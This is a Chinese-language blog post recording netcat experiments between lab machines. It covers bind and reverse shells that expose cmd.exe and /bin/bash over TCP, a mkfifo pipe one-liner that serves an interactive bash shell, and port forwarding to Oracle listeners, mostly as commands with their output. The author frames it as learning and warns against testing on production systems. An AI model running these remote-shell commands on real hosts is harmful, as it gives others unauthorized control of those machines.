[20230309]nc reverse bash shell or cmd.exe(windows).txt

  • [20230309]nc reverse bash shell or cmd.exe(windows).txt已关闭评论
  • 126 次浏览
  • A+
所属分类:linux技术

[20230309]nc reverse bash shell or cmd.exe(windows).txt

--//nc 是网络利器,以前曾经做过[20210908]Reverse Shell with Bash.txt=>http://blog.itpub.net/267265/viewspace-2790933/。
--//最近看了这方面内容,测试reserver bash shell or cmd.exe(windows)以及端口转发,代理:

1.环境:
--//首先找2,3台机器,千万不要在生产系统做这样的测试!!
192.168.100.78  linux   (Oracle Linux Server release 5.9)
192.168.98.6    windows
192.168.100.235 linux   (Red Hat Enterprise Linux Server release 7.5 )
--//注: 192.168.100.235 的nc版本高一些,支持更多的参数选择.另外我发现两台机器nc的来源不一样,做一下说明,我估计最新版本的机器
--//都是来自nmap包,支持的参数有一点点乱!!
--//192.168.100.78的nc版本.
 $ rpm -qif $(which nc)
Name        : nc                           Relocations: (not relocatable)
Version     : 1.84                              Vendor: Oracle USA
Release     : 10.fc6                        Build Date: Wed 06 Jun 2007 07:33:51 PM CST
Install Date: Fri 29 Aug 2014 09:27:41 PM CST      Build Host: ca-build14
Group       : Applications/Internet         Source RPM: nc-1.84-10.fc6.src.rpm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Size        : 111823                           License: GPL
Signature   : DSA/SHA1, Fri 08 Jun 2007 08:19:28 AM CST, Key ID 66ced3de1e5e0159
URL         : http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/nc/
Summary     : Reads and writes data across network connections using TCP or UDP.

--//192.168.100.235的nc版本.
$ rpm -qif $(which nc)
Name        : nmap-ncat
Epoch       : 2
Version     : 6.40
Release     : 13.el7
Architecture: x86_64
Install Date: Tue 10 Nov 2020 07:39:27 PM CST
Group       : Applications/System
Size        : 432699
License     : GPLv2 and LGPLv2+ and GPLv2+ and BSD
Signature   : RSA/SHA256, Sun 28 Jan 2018 09:04:52 PM CST, Key ID 72f97b74ec551f03
Source RPM  : nmap-6.40-13.el7.src.rpm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Build Date  : Sun 28 Jan 2018 09:04:38 PM CST
Build Host  : x86-ol7-builder-01.us.oracle.com
Relocations : (not relocatable)
Vendor      : Oracle America
URL         : http://nmap.org/
Summary     : Nmap's Netcat replacement
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--//新的版本作为nmap的一部分替换原来的nc版本.实际的执行程序名是ncat.
$ ls -l /usr/bin/nc /usr/bin/ncat
lrwxrwxrwx. 1 root root      4 2020-11-10 19:39:26 /usr/bin/nc -> ncat
-rwxr-xr-x. 1 root root 380224 2018-01-28 21:04:22 /usr/bin/ncat

--//为了测试方便两台linux机器建立管道文件/tmp/f,不再另外说明.
# mkfifo /tmp/f
# chmod 777 /tmp/f

--//windwos下的nc.exe可以在https://github.com/ph-cwtcwt/IT-tool/tree/代理穿透 下载.并设置好环境变量PATH,可以直接访问.
--//注:我使用杀毒软件将里面nc1.exe给清除了,感觉应该没有问题,因为我在别的机器尝试解压没有问题.

2.测试1:
--//windows的版本支持-e progname选项,连通后可以在其它机器上连接该机器.
--//192.168.98.6    windows
R:>nc -l -p 1234 -t -e cmd.exe
--//或者
R:>nc -l -p 1234  -e cmd.exe

--//192.168.100.78  linux
$ nc 192.168.98.6 1234
Microsoft Windows [版本 6.1.7600]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

R:>dir
dir
 驱动器 R 中的卷是 RAMDISK
 卷的序列号是 0122-14E0

 R: 的目录

2023/03/09  08:31    <DIR>          log
2023/03/09  08:30    <DIR>          TEMP
2023/03/09  08:24    <DIR>          VDownload
               1 个文件            859 字节
               3 个目录    738,344,960 可用字节
--//执行命令有一个缺点,会回显执行的命令在执行,而且无法使用上下键选择命令的执行历史在执行.
--//还可以这样操作:
--//192.168.98.6    windows
R:>nc -l -p 1234 -t -e "sqlplus scott/book@78"

--//192.168.100.78  linux 或者192.168.100.235 linux
$ nc 192.168.98.6 1234
...
SCOTT@78> @ ver1
PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

SCOTT@78> host pwd
R:

3.测试2:
--//反过来呢?我看了一下我的测试机器192.168.100.78,nc版本很低,许多参数没有,选择192.168.100.235测试.
--//192.168.100.235 linux
$ nc -l -p  1234  -e "/bin/bash -i "
--//或者
$ nc -l -p  1234  -t -e "/bin/bash -i "

--//192.168.100.78 linux
$ nc 192.168.100.235 1234
hostname
LIS-DB
ls  -l
total 28
-rw-r--r--. 1 oracle oinstall 2639 Oct 14 10:39 fastlink.sh
-rw-r--r--. 1 oracle oinstall 5725 Nov  7 09:51 oalias.sh
-rw-r--r--. 1 oracle oinstall 5459 Oct 20 09:00 oalias.sh.20221024
-rw-r--r--. 1 oracle oinstall 4551 Oct 14 10:47 oalias.sh.bak
ll

--//执行命令有一个缺点,没有命令行提示符号,命令类似盲打.
--//注: 在windows下我无法实现,不知道原因,先暂时放一下.
--//192.168.98.6    windows
R:> nc 192.168.100.235 1234
--//命令无效!!挂起!!

4.测试3:
--//也可以把命令反过来使用,效果是一样的.
--//192.168.100.78  linux
$ nc -l 1234

--//192.168.98.6    windows
R:> nc 192.168.100.78 1234 -e cmd.exe

--//192.168.100.78  linux
$ nc -l 1234
Microsoft Windows [版本 6.1.7600]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

R:>dir
dir
 驱动器 R 中的卷是 RAMDISK
 卷的序列号是 0122-14E0

 R: 的目录

2023/03/10  08:39    <DIR>          log
2023/03/10  08:38    <DIR>          TEMP
2023/03/10  08:34    <DIR>          VDownload
2010/11/30  08:29               859 zws.ppk
               1 个文件            859 字节
               3 个目录    774,134,784 可用字节

5.测试4:
--//192.168.100.78  linux
$ nc -l  1234

--//192.168.100.235  linux
$ nc 192.168.100.78 1234 -e '/bin/bash -i'

--//192.168.100.78  linux
$ nc -l  1234
hostname
LIS-DB

--//缺点就是命令给盲打,没有命令提示符,不支持tab,上下键选择命令.

6.测试5:
--//192.168.100.78  linux
$ mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -l 1234 > /tmp/f

--//我尝试从不同os连接.
--//192.168.98.6    windows
R:> nc 192.168.100.78 1234
bash: no job control in this shell
--//PS1的提示出现乱码或者不对齐,不影响使用.提示bash: no job control in this shell,似乎一些bg,fg的命令无法使用.
--//实际上因为没有terminal的缘故.tty命令显示no tty. 这样vim之类的编辑软件是不能用的.

--//192.168.100.235 linux
$ nc  192.168.100.78 1234
--//命令会回显,但是显示效果很好,也可以使用tab键以及上下键,但是显示乱码,执行是正常的,基本就是属于盲打.

7.测试6(测试端口转发):
--//192.168.100.78  linux
$ nc -k -l 1234  < /tmp/f | nc 192.168.100.235 1521 > /tmp/f
--//或者
$ nc  -l 1234  < /tmp/f | nc 192.168.100.235 1521 > /tmp/f

--//相当于访问192.168.100.78的1234端口就是访问192.168.100.235的1521端口.
--//-k 的作用相当我不是很理解,client退出后还保持打开状态.但是重新发起连接会断开.
--//-k 参数要配合 -m 参数,不过这个版本不支持-m参数.
--//另外我发现nc的参数非常不一致,一些版本-m的意思不同.

--//一个变态的写法写成死循环:
--//192.168.100.78  linux
$ while :; do  nc  -l 1234  < /tmp/f | nc 192.168.100.235 1521 > /tmp/f ; done

--//192.168.98.6    windows
R:>sqlplus sys/[email protected]:1234/orcl as sysdba
..
[email protected]:1234/orcl> @ ver1
[email protected]:1234/orcl> @ prxx_win
==============================
PORT_STRING                   : x86_64/Linux 2.4.xx
VERSION                       : 19.0.0.0.0
BANNER                        : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
BANNER_FULL                   : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.3.0.0.0
BANNER_LEGACY                 : Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
CON_ID                        : 0
PL/SQL procedure successfully completed.
--//当然你别指望同时开启多个会话.

8.测试7(测试端口转发):
--//192.168.100.235 linux
--//该机器nc版本较新,支持许多新的参数选择.比如-c 参数.
$ nc -l -p 1234 -c  'nc 192.168.100.78 1521'
--//相当于将192.168.100.235 的1234端口映射到192.168.100.78 1521.

--//192.168.100.78 linux
$ sqlplus -s -l scott/[email protected]:1234/book <<< @ver1
PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

--//缺点是这样的写法仅仅连接一次,退出后再重新连接无效!!可以像上面那样写一个死循环.
--//192.168.100.235 linux
$ while :; do  nc -l -p 1234 -c  'nc 192.168.100.78 1521' ; done
--//或者写成如下,写成如下可以连接5次.
$ seq 5 | xargs -IQ  bash -c "nc -l -p 1234 -c  'nc 192.168.100.78 1521'"

9.总结:
--//全当作学习一些网络知识,了解增加nc的使用技巧,不要在生产系统做这类测试!!
--//另外我发现一些命令参数各个版本意思不一致,有点混乱.
--//一些版本-l -p 不能一起使用,有一些可以等等.

10.补充:
--//在结束测试前我粗略浏览nc文档,较新的nc版本-k要和-m配合:
--//192.168.100.235 linux
$ nc -k -m 5 -l -p 1234 -c  'nc 192.168.100.78 1521'
--//这样可以实现5个连接没有任何问题,同时开启5个会话没有问题.
--//不管如何操作,先打开监听,然后在启动连接.nc应用非常灵活.我仅仅学习nc的冰上一角.

--//另外在测试4中命令盲打的问题,我找到一个链接:https://www.infosecademy.com/netcat-reverse-shells/可以很好解决这个问题,
--//另外写一篇blog.